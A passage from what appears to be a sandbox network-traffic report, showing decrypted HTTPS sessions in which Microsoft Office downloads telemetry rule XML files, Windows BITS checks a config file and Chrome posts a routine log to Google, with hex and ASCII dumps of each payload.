2024-10-31 08:07:17 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:17 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:17 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:17 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080717Z-16849878b78fkwcjkpn19c5dsn000000084g00000000gyme x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:17 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:17 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:17 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: a783173c-501e-008c-2349-27cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080717Z-16849878b78wv88bk51myq5vxc00000009mg000000002b24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:17 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:17 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:17 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: f3394f62-601e-0070-07f3-2aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080717Z-16849878b78qwx7pmw9x5fub1c00000007c0000000009ub9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:17 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49765	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:17 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-31 08:07:17 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=203905 Date: Thu, 31 Oct 2024 08:07:17 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:17 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:17 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: fa89f893-901e-00ac-46b8-2ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080717Z-17c5cb586f6lxnvgvs6hx6p0t800000001b0000000002rfw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:17 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:17 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:17 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:17 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 82dd15c7-901e-0064-46c7-2ae8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080717Z-17c5cb586f62bgw58esgbu9hgw0000000210000000002kb3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:17 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49772	172.217.18.110	443	3532	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:17 UTC	706	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 921 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 08:07:17 UTC	921	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 33 36 32 30 33 34 38 35 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1730362034855",null,null,null,
2024-10-31 08:07:18 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=Z97PtYtnn1MUW7OTWlEKvca4h0h8zrrIJp_WpAht0IRE7yw7SZt8j9_8X1dsV_e3qPG13Lws4IBUxtlAneYdXmwnPBfhT1jNaGNd4IkK57XPQTQj4W-AeOgecOxIIZJqIfP-lCAyWxeeD7nhIrSgB-yH81Uac8CROqQMW0E9R9AihZ4oUbI; expires=Fri, 02-May-2025 08:07:18 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 31 Oct 2024 08:07:18 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 31 Oct 2024 08:07:18 GMT Connection: close Transfer-Encoding: chunked
2024-10-31 08:07:18 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-31 08:07:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:18 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:18 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: fc0fc2d6-d01e-0028-300b-2b7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080718Z-15b8d89586f8nxpt6ys645x5v00000000aeg000000009tqq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:18 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:18 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:18 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 5af050aa-401e-000a-36a7-2a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080718Z-17c5cb586f659tsm88uwcmn6s400000001rg000000006v34 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:18 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:18 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:18 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 99f07890-301e-0051-29d2-2538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080718Z-16849878b78sx229w7g7at4nkg00000007k0000000002sfp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:18 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:18 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:18 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 39d89106-201e-003f-20a3-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080718Z-16849878b78km6fmmkbenhx76n00000008kg00000000820d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:18 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
